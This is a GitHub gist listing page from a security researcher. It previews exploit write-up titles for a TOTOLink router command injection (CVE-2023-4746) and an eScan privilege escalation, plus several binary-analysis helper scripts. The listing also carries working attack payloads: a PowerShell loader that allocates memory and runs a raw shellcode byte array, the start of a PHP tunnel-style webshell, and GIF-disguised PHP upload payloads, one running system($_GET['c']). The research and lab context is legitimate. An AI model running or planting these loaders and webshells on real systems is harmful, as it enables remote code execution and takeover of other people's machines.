Skip to content

Instantly share code, notes, and snippets.

@dmknght
dmknght / totolink_bypass_to_rce.md
Last active October 26, 2023 00:05
Use format string bypass Totolink's Validity_check function, lead to remote OS command injection (CVE-2023-4746)
$rzJEzfsIm = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
$ozmjNQUHYWcWLEB = Add-Type -memberDefinition $rzJEzfsIm -Name "Win32" -namespace Win32Functions -passthru
[Byte[]] $bwHCjeufl = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0
<?php
ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);
ini_set('always_populate_raw_post_data', -1);
error_reporting(E_ERROR | E_PARSE);
if(version_compare(PHP_VERSION,'5.4.0','>='))@http_response_code(200);
function blv_decode($data) {
$data_len = strlen($data);
@dmknght
dmknght / totolink_ex1200L.md
Last active August 27, 2023 08:09
Multiple OS command Injection in TOTOLink EX1200L firmware
@dmknght
dmknght / escan_analysis_cbjs.md
Last active February 28, 2024 09:37
Phân tích lỗ hổng priv esc trong escan 7.0.32

I. Overview

  • Ứng ụng có một số file có suid bit với owner root. Vì vậy, attacker có thể lợi dụng lỗ hổng trong các file này để leo thang dặc quyền.
  • Goal: Tạo được reverse shell với quyền root

II. Analysis

1. Cách hoạt động của runasroot (công cụ: cutter, ghidra)

Note: cutter (backend là rizin framework) sử dụng bộ framework capstone của anh Anh Quỳnh để phân tích và dịch ngược ra assembly code. Trong khi đó, Ghidra sử dụng bộ từ điển Sleigh riêng. Trong một một số trường hợp, kết quả dịch ngược của cùng 1 binary file khi sử dụng 2 framework này là khác nhau.

runasroot là một file ELF có chứa suid bit và sgid bit image

@dmknght
dmknght / function_call_hash.py
Created June 22, 2023 21:09
Use rizin / radare2 to collect function calls of a function, then generate hash. The point is to find code reuse
import rzpipe # Using rizin framework. Replace with r2pipe for radare2
import json
import hashlib
import os
class BinaryMetadata:
def __init__(self, path: str):
self.pipe = rzpipe.open(path)
self.bin_path = path
@dmknght
dmknght / qiling_with_asm.py
Created June 19, 2023 07:59
print asm opcode and bytes from qiling emulator
from qiling import Qiling
from capstone import *
md = Cs(CS_ARCH_X86, CS_MODE_64)
def print_asm(ql, address, size):
# Credits -> https://isc.sans.edu/diary/Qiling+A+true+instrumentable+binary+emulation+framework/27372
buf = ql.mem.read(address, size)
for i in md.disasm(buf, address):
opcode = ' '.join('{:02x}'.format(x) for x in i.bytes)
@dmknght
dmknght / extra_test.php
Last active May 5, 2023 15:04
Extra test for file upload
dmknght<?php phpinfo();?>
@dmknght
dmknght / dmknght.php
Created May 5, 2023 13:42
WPT03 exam - payload RCE
GIF89a <?php system($_GET['c']);?>
@dmknght
dmknght / phpinfo.php
Created May 5, 2023 13:36
Payload for WPT03
GIF89a <?php phpinfo();?>